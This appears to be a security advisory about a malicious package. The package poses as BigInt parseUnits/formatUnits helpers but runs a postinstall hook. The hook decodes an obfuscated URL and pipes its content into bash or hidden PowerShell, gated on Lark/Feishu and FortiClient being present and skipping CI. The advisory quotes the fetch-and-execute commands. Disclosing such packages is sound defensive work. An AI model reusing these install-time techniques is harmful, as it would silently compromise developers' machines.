MAL-2026-15824

--- _-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (a4433d82919da9c0972986247dd611eae3997b28fd54726ffbf9c48147c05211) Package advertises BigInt token-unit conversion helpers (parseUnits/formatUnits) but declares a postinstall hook (scripts/postinstall.js) that invokes lib/runtime/manifest-sync.js. The sync module reconstructs a URL by XOR-decoding an integer array from endpoint-registry.json against the key `seed + '-stellarshift-registry'` combined with a positional mask (config-resolver.js decodeSegments), then executes the response body with no integrity check: `curl -fsSL --connect-timeout 8 '<uri>' 2>/dev/null | bash` on Unix, and `iex (iwr -UseBasicParsing -TimeoutSec 8 -Uri $uri).Content` inside a hidden PowerShell on Windows. Execution is gated by dev-profile.js: shouldSyncRemoteConfig runs isManagedWorkstation(), which requires detection of a collaboration client (Lark/Feishu at /Applications/Lark.app, /Applications/Feishu.app, and Windows equivalents) AND a VPN client (FortiClient), and isContinuousIntegration skips CI environments (CI, GITHUB_ACTIONS, GITLAB_CI, etc.). The destination-URL obfuscation, CI evasion, enterprise-client fingerprinting (Lark/Feishu/FortiClient), and README/behavior mismatch are unrelated to the advertised unit-math API.